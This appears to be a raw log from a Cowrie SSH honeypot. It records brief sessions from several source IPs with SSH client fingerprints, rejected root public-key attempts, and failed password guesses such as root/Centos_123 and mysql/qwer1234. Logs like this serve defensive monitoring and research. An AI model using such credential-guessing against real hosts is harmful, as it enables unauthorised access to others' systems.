{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:49.624801Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:bb:c3:0e:d2:1f:e0:d1:50:1a:bd:be:95:2c:64:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+HHyp7j5tbq+htDmwpD7gWeaE3AinPtChd+K2riSyxWvvCwBW0IW3D8pf49NuZoai3aghHRLZW5jATbkT1E7bEJQHqeigo5Pj3eyIkxIxWDoX2F5/n5tM4UwnNP9C+ELF+z0PM8QVyh9ZVmGZkS7b1Gg4kAI9ETEdcaolLIMkDn+qAM3NHLM9nPxv6ufyWaOaRAmhiWpORtXnCkcuEFT7nWn8AkNIN3WvBW1M/2LzRn12/JzgQtB50Oa14XNhsf5sfCPOySMNfwXIbYm0SKTcZ3Mb9wGsrLi2i8S9klaMsrZX3k+nl9dIrIFJLIRnf83RKFBsEwLgdF+R+5GScMZ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:bb:c3:0e:d2:1f:e0:d1:50:1a:bd:be:95:2c:64:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.053836Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:bb:c3:0e:d2:1f:e0:d1:50:1a:bd:be:95:2c:64:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+HHyp7j5tbq+htDmwpD7gWeaE3AinPtChd+K2riSyxWvvCwBW0IW3D8pf49NuZoai3aghHRLZW5jATbkT1E7bEJQHqeigo5Pj3eyIkxIxWDoX2F5/n5tM4UwnNP9C+ELF+z0PM8QVyh9ZVmGZkS7b1Gg4kAI9ETEdcaolLIMkDn+qAM3NHLM9nPxv6ufyWaOaRAmhiWpORtXnCkcuEFT7nWn8AkNIN3WvBW1M/2LzRn12/JzgQtB50Oa14XNhsf5sfCPOySMNfwXIbYm0SKTcZ3Mb9wGsrLi2i8S9klaMsrZX3k+nl9dIrIFJLIRnf83RKFBsEwLgdF+R+5GScMZ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.057423Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:80:68:ea:f1:b4:62:a5:5f:3a:40:d0:49:f3:03:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJh1rW5ELY1DFfpzY3xuwg07s5FofaBBHLJy92yvgsTI2XB/FmjEjhfB5WnUYPw+MfvP0qE/dh93juQbSIO/7TnpgBZe6U8nE3ihDK5Dcv1uBf0875QAG2loTCcR6cruCMlOYgIIV+dULrQVXDIYk9BnAibq/Bo178Ia/GzGToxSwy3QZbttHKSHYViF34JU/wXtFCBp4V/GSqBrxMe2lZGOWU31dnfW7EnD+t6KRE4zW16TAjiUae4ZuWYC2nxfwZ0ugcTuvMT+pc49vzFbxp2OJQmbjxKsHUHX5zwcjYDMoAtc+LSv/RRMHKPXHcwwKC9ySOr0huzNrftZrWzxSD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:80:68:ea:f1:b4:62:a5:5f:3a:40:d0:49:f3:03:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.151611Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:80:68:ea:f1:b4:62:a5:5f:3a:40:d0:49:f3:03:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJh1rW5ELY1DFfpzY3xuwg07s5FofaBBHLJy92yvgsTI2XB/FmjEjhfB5WnUYPw+MfvP0qE/dh93juQbSIO/7TnpgBZe6U8nE3ihDK5Dcv1uBf0875QAG2loTCcR6cruCMlOYgIIV+dULrQVXDIYk9BnAibq/Bo178Ia/GzGToxSwy3QZbttHKSHYViF34JU/wXtFCBp4V/GSqBrxMe2lZGOWU31dnfW7EnD+t6KRE4zW16TAjiUae4ZuWYC2nxfwZ0ugcTuvMT+pc49vzFbxp2OJQmbjxKsHUHX5zwcjYDMoAtc+LSv/RRMHKPXHcwwKC9ySOr0huzNrftZrWzxSD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.154566Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:18:be:53:14:cb:f6:92:bb:b8:88:f4:b8:3b:b6:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFsGI8LMMCOYULoUqh4/Sq/O9Kf5Urc0Gt8TCXvieeR+cwXvFIszMiOcYUL3+5pRyTAt4UHau7ufUpOH6y6GGtXXKtLCHMHLo+Hp7Q2pvJsknMuuqQztcXli+otya0++nO3pBgbj7ABJWz6RrYkEx81O3faQTEvzRS9XBZoNSJtyRPFS1enNqTa9bY73DtfJkgNhHaKGJ5LRMJfUNrX00QpgWIkMzJE5uq22RmEqsVnhPDRb9UtbLcIz9ohTyLUhbULIcR/eMos5D94XwH7/c83qRlBy3nWDpw9HVgX8H1CI+rjL1IDDSNVaqviR6E69i/Qqf6NRJmvlPNiPTkNOQ3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:18:be:53:14:cb:f6:92:bb:b8:88:f4:b8:3b:b6:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.245503Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:18:be:53:14:cb:f6:92:bb:b8:88:f4:b8:3b:b6:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFsGI8LMMCOYULoUqh4/Sq/O9Kf5Urc0Gt8TCXvieeR+cwXvFIszMiOcYUL3+5pRyTAt4UHau7ufUpOH6y6GGtXXKtLCHMHLo+Hp7Q2pvJsknMuuqQztcXli+otya0++nO3pBgbj7ABJWz6RrYkEx81O3faQTEvzRS9XBZoNSJtyRPFS1enNqTa9bY73DtfJkgNhHaKGJ5LRMJfUNrX00QpgWIkMzJE5uq22RmEqsVnhPDRb9UtbLcIz9ohTyLUhbULIcR/eMos5D94XwH7/c83qRlBy3nWDpw9HVgX8H1CI+rjL1IDDSNVaqviR6E69i/Qqf6NRJmvlPNiPTkNOQ3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.248835Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:4c:e6:1d:97:90:39:a4:7d:0c:a3:97:2f:9c:d9:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmft1kzw5kwjPeMfxO5jvt93hdO/JOLSnxeaOZOx5/QPhYNfjxAr3v8+5AULdiV3kRLxGc0j3xyoTlyRQZPwGekyoZ9z7d+Us72G1cIn/2Pr7gNWUyjeeUr6K2O+a67kJADO62hdeabAnvgxEGbkqeeLEJviBl9WZmlooU7FlZOuR/6ZoksoKj/vJtfIFyBuc9J7FT1cNfmiaLuDoKPWJigFo32yOwlDj1k6vkL2UpTTOme+NH0wkHb82+UuBVmeBAfcsj37znzoXqteHZ81FJ6rTFSKNQjDq53pVHVuZHbOIPMSEucNdOkJ2UVgjRNWMMdzSgy0Rqqx/BqqrgDQ9T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:4c:e6:1d:97:90:39:a4:7d:0c:a3:97:2f:9c:d9:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.338597Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:4c:e6:1d:97:90:39:a4:7d:0c:a3:97:2f:9c:d9:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmft1kzw5kwjPeMfxO5jvt93hdO/JOLSnxeaOZOx5/QPhYNfjxAr3v8+5AULdiV3kRLxGc0j3xyoTlyRQZPwGekyoZ9z7d+Us72G1cIn/2Pr7gNWUyjeeUr6K2O+a67kJADO62hdeabAnvgxEGbkqeeLEJviBl9WZmlooU7FlZOuR/6ZoksoKj/vJtfIFyBuc9J7FT1cNfmiaLuDoKPWJigFo32yOwlDj1k6vkL2UpTTOme+NH0wkHb82+UuBVmeBAfcsj37znzoXqteHZ81FJ6rTFSKNQjDq53pVHVuZHbOIPMSEucNdOkJ2UVgjRNWMMdzSgy0Rqqx/BqqrgDQ9T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.342278Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:0c:9f:b8:34:8e:9d:4c:57:51:43:10:1b:21:92:d0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGRqLCKcB4yOct/qASDz3E4sh96TROw5WMCEd+x47JNP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 96:0c:9f:b8:34:8e:9d:4c:57:51:43:10:1b:21:92:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.432561Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:0c:9f:b8:34:8e:9d:4c:57:51:43:10:1b:21:92:d0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGRqLCKcB4yOct/qASDz3E4sh96TROw5WMCEd+x47JNP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.435513Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:50.527964Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":31005,"dst_ip":"159.203.135.109","dst_port":22,"session":"776549e9bcfb","protocol":"ssh","message":"New connection: 79.127.181.44:31005 (159.203.135.109:22) [session: 776549e9bcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:58.453540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:58.654496Z","src_ip":"79.127.181.44","session":"776549e9bcfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:58.846332Z","src_ip":"79.127.181.44","session":"776549e9bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:58.851620Z","src_ip":"79.127.181.44","session":"776549e9bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":44894,"dst_ip":"159.203.135.109","dst_port":22,"session":"0100de6dff74","protocol":"ssh","message":"New connection: 43.163.81.22:44894 (159.203.135.109:22) [session: 0100de6dff74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:04.802783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:04.813713Z","src_ip":"43.163.81.22","session":"0100de6dff74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:05.045107Z","src_ip":"43.163.81.22","session":"0100de6dff74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sue","message":"login attempt [root/sue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:05.996745Z","src_ip":"43.163.81.22","session":"0100de6dff74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:07.232275Z","src_ip":"43.163.81.22","session":"0100de6dff74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":55718,"dst_ip":"159.203.135.109","dst_port":22,"session":"56cb1f672d42","protocol":"ssh","message":"New connection: 43.135.168.126:55718 (159.203.135.109:22) [session: 56cb1f672d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:07.389319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:07.400363Z","src_ip":"43.135.168.126","session":"56cb1f672d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:07.469885Z","src_ip":"43.135.168.126","session":"56cb1f672d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Centos_123","message":"login attempt [root/Centos_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:07.778083Z","src_ip":"43.135.168.126","session":"56cb1f672d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:08.850373Z","src_ip":"43.135.168.126","session":"56cb1f672d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":55732,"dst_ip":"159.203.135.109","dst_port":22,"session":"21d8e38beff3","protocol":"ssh","message":"New connection: 171.244.37.97:55732 (159.203.135.109:22) [session: 21d8e38beff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:16.099247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:16.104981Z","src_ip":"171.244.37.97","session":"21d8e38beff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:16.360190Z","src_ip":"171.244.37.97","session":"21d8e38beff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:17.402482Z","src_ip":"171.244.37.97","session":"21d8e38beff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43954,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e288b4cebb1","protocol":"ssh","message":"New connection: 193.32.162.151:43954 (159.203.135.109:22) [session: 6e288b4cebb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:18.223858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:18.230703Z","src_ip":"193.32.162.151","session":"6e288b4cebb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:18.329477Z","src_ip":"193.32.162.151","session":"6e288b4cebb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:18.658823Z","src_ip":"171.244.37.97","session":"21d8e38beff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwer1234","message":"login attempt [mysql/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:18.801651Z","src_ip":"193.32.162.151","session":"6e288b4cebb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:19.909280Z","src_ip":"193.32.162.151","session":"6e288b4cebb1","protocol":"ssh"}
